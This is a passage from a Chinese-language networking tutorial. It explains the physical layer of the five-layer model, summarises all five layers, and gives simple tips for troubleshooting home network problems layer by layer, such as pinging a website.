物理层(最底层,负责“物理传输”)数据链路层把数据帧交下来后,物理层的任务就是“把数据帧转换成电信号、光信号或电磁波,通过物理介质传出去”。它是整个协议栈的“基石”,不管数据内容是什么,只负责比特流(0和1)的物理传输,关心的是电压、电流、频率、传输介质这些硬件层面的东西。物理层的核心要素:传输介质:就是数据传输的“通道”,常见的有双绞线(咱们平时用的网线,比如Cat5e、Cat6)、同轴电缆(早期有线电视用的那种)、光纤(速度快、抗干扰,用于远距离传输)、电磁波(WiFi、4G/5G、蓝牙,无线传输)。物理设备:网卡(电脑/手机的网络接口,负责把数据转换成电信号)、集线器(最基础的网络设备,只是简单转发电信号,不分地址,现在基本淘汰)、交换机(数据链路层设备,但依赖物理层传输)、路由器(网络层设备,同样依赖物理层)、调制解调器(猫,把数字信号转换成模拟信号,用于宽带上网)。物理特性:比如双绞线的引脚定义、光纤的波长、WiFi的频段(2.4GHz和5GHz)、电信号的电压(比如高电平代表1,低电平代表0)。物理层出问题的话,网络直接连不上——比如网线断了、网卡坏了、WiFi信号太弱,这些都是物理层的问题,排查的时候先看硬件和传输介质。小结应用层:用户用的App(浏览器、微信)和网络的接口,管“要干什么”,靠HTTP、DNS这些协议干活;传输层:管“App之间靠谱传数据”,TCP靠谱(付款、网页),UDP快速(游戏、直播),靠端口号区分App;网络层:管“跨网络找路线”,靠IP地址定位设备,ICMP报错,路由器指路;数据链路层:管“局域网内送货”,靠MAC地址识别设备,交换机转发,确保同城数据不丢包;物理层:管“物理传输”,把数据变成电信号/光信号,靠网线、WiFi、网卡这些硬件干活。分层的好处为什么要分五层?核心就是“各司其职、方便维护”——比如家里上网连不上,先看网线插没插好(物理层),再看WiFi能不能连上(数据链路层),然后ping一下网关(网络层),最后看网页能不能打开(应用层),一层一层排查,不用瞎忙活。而且一层的技术升级,不影响其他层,比如物理层从网线换成光纤,应用层的HTTP协议不用变。常见问题排查思路网页打不开:先ping网址(比如ping www.baidu.com),如果ping不通,可能是DNS解析失败(应用层)或路由问题(网络层);如果ping通了但网页打不开,可能是HTTP协议问题(应用层)或443端口被屏蔽(传输层)。打游戏延迟高:大概率是UDP协议丢包(传输层),或者网络路由拥堵(网络层),可以换个WiFi、连网线试试(物理层)。局域网内设备连不上:比如电脑连不上打印机,可能是MAC地址绑定问题(数据链路层),或者打印机的IP地址配置错了(网络层)。
2016年04月08日
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